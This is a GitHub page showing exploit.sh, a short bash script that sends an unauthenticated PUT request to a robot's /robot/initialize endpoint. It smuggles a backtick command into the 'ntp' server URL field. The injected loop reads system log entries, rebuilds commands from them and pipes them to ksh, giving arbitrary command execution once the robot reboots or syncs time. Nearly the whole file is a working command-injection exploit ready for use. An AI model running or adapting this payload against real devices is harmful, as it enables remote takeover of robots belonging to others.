-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.sh
executable file
·19 lines (14 loc) · 852 Bytes
/
exploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Usage: ./exploit.sh <robot IP address>"
exit 0
fi
robot_ip=$1
echo "[*] Sending exploit payload..."
# You shouldn't need to change any of the below, it accepts the payload without
# a valid user_id, ssid, or password
curl -i -s -k -X 'PUT' \
-H 'Content-Type: application/json' \
--data-binary $'{\"name\":\"Rosie\", \"ssid\":\"asdf\", \"timezone\":\"America\\/Chicago\", \"password\":\"asdf\", \"server_urls\": {\"nucleo\":\"nucleo\",\"ntp\":\"`while :;do for m in $(sloginfo -c|grep :878);do [ $m = %%%%% ]&&eval \'echo $c|ksh&c=\'||c=$c\\\\ $m;done;done`\",\"beehive\":\"beehive\"}, \"user_id\":\"asdf\", \"utc_offset\":\"UTC-6:00UTC-5:00\"}\x0a' \
"https://$robot_ip:4443/robot/initialize"
echo "[*] Done. Now either reboot the robot, or wait for it to update from the NTP server."